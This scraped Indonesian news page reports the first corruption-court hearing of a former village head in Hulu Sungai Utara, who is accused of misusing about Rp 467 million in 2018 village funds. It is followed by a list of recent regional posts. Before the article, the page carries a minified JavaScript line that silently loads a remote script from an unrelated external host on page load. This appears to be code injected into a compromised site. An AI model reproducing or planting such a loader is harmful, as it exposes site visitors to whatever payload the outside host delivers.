(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Tilep Dana Desa Ratusan Juta, Mantan Kades di HSU Mulai Diadili


KANALKALIMANTAN.COM, BANJARMASIN – Seorang mantan Kepala Desa (Kades) di Kabupaten Hulu Sungai Utara (HSU) diadili di Pengadilan Tindak Pidana Korupsi (Tipikor) Banjarmasin karena menyalahgunakan dana desa untuk kepentingan pribadi.

Zidi Ilhami (34), mantan Kades Kalumpang Dalam, Kecamatan Babirik, Kabupaten HSU menjalani sidang pertama dengan agenda dakwaan, Rabu (12/4/2023) pagi.

Ia didakwa Jaksa Penuntut Umum (JPU) Kejari HSU telah melakukan tindak pidana korupsi saat masih mejabat sebagai Kades pada tahun 2018.

Dalam dakwan, berdasarkan audit Badan Pengawasan Keuangan Pembangunan (BPKP) Kalsel, terdakwa merugikan keuangan negara senilai Rp 467 juta dari dana anggaran desa Kelumpang Dalam tahun 2018 sebesar Rp 1,4 miliar.

 

Baca juga: Ayo Bayar Zakat, Baznas Banjarbaru Siapkan Scan QR

“Berdasarkan hasil perhitungan BPKP Kalsel terdakwa telah merugikan negara Rp 467.668.500,” ucap JPU di hadapan Majelis Hakim yang diketuai Jamser Simanjuntak.

Dalam modus tilep dana desa, Kades Kalumpang Dalam periode 2013-2019 ini disebutkan tidak melibatkan aparat desa pada setiap proyek pembangunan di desa.

Bahkan, terdakwa tidak pernah membentuk Tim Pelaksana Kegiatan (TPK), serta laporan kegiatan pembangunan dibuat sendiri oleh terdakwa Jidi Ilhami.

“Terdakwa membuat sendiri laporan kegiatan pembangunan 2018” ungkap JPU.

“Terdakwa tidak pernah memberikan nota kwitansi pembelanjaan. Selain itu terdakwa juga tidak terbuka dan transparan kepada perangkat desa,” terang JPU dari Kejari HSU.

Atas perbuatannya tersebut, mantan Kades Kalumpang Dalam ini didakwa dengan Pasal 2 ayat 1 jo Pasal 18 Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tipikor sebagaimana diubah dan ditambah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Perubahan atas Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tipikor jo pasal 55 ayat 1 ke-1 KUHPidana.

Baca juga: Bayi Dibuang dalam Tas Jinjing di Guntung Manggis, Pelaku Diburu Polisi

Sedangkan dakwaan subsider, Pasal 3 jo Pasal 18 Undang-Undang Nomor 31 Tahun 1999 Tentang Pemberantasan Tipikor sebagaimana diubah dan ditambah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Perubahan atas Undang-Undang Nomor 31 tahun 1999 tentang Pemberantasan Tipikor jo Pasal 55 ayat 1 ke-1 KUHPidana.

Menanggapi surat dakwaan yang dibacakan oleh penuntut umum, tim kuasa hukum terdakwa yang diketuai oleh Silaban mengatakan tidak mengajukan eksepsi atau keberatan.

“Kami penasehat hukum terdakwa tidak melakukan eksepsi, kita langsung ke pembuktian saja,” ucap Silaban kepada majelis hakim.

Sedangkan JPU dari Kejari HSU belum siap untuk menghadirkan saksi, sehingga majelis hakim memutuskan untuk menunda persidangan dua Minggu selanjutnya.

“Sidang kita lanjutkan 3 Mei 2023, dengan perintah penuntut umum untuk memanggil saksi-saksi,” tutup ketua majelis hakim, Jamser Simanjuntak. (kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Risa

Recent Posts

‎Satlantas Polres HSU Bersama Ojol Mitra Tertib Berlalu Lintas ‎

‎KANALKALIMANTAN.COM, AMUNTAI - ‎Satuan Lalu Lintas (Satlantas) Polres Hulu Sungai Utara (HSU) menggelar kegiatan bertajuk… Read More

17 jam ago

Jemaah Haul ke-6 Abah Haji Penuhi Jalan Masjid Jami Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Lautan manusia jemaah Haul ke-6 KH Muhammad Zuhdianoor atau dikenal Abah Haji… Read More

19 jam ago

Satgas Saber Pangan HSU Turun ke Pasar Induk Amuntai

KANALKALIMANTAN.COM, AMUNTAI - Menjelang bulan Ramadan, Badan Pangan Nasional (Bapanas) bersama Satgas Saber Pangan Kabupaten… Read More

19 jam ago

Bupati Banjar Ingatkan Kantor Desa Garda Terdepan Pelayanan dan Bebas Pungli

KANALKALIMANTAN.COM, MARTAPURA – Bupati Banjar H Saidi Mansyur meresmikan tiga kantor desa dan Taman Pendidikan… Read More

19 jam ago

Cuti Bersama Tahun Baru Imlek, PTAM Intan Banjar Sesuaikan Jam Kerja Kantor Pelayanan

KANALKALIMANTAN.COM, BANJARBARU – Jam pelayanan dan jam kerja di kantor pelayanan PT Air Minum (PTAM) Intan… Read More

20 jam ago

Bapokting Naik, Wakil Wali Kota Ananda: Jangan Sampai Panic Buying!

KANALKALIMANTAN.COM, BANJARMASIN - Wakil Wali Kota Banjarmasin, Hj Ananda mengimbau masyarakat untuk tidak panic buying… Read More

1 hari ago

This website uses cookies.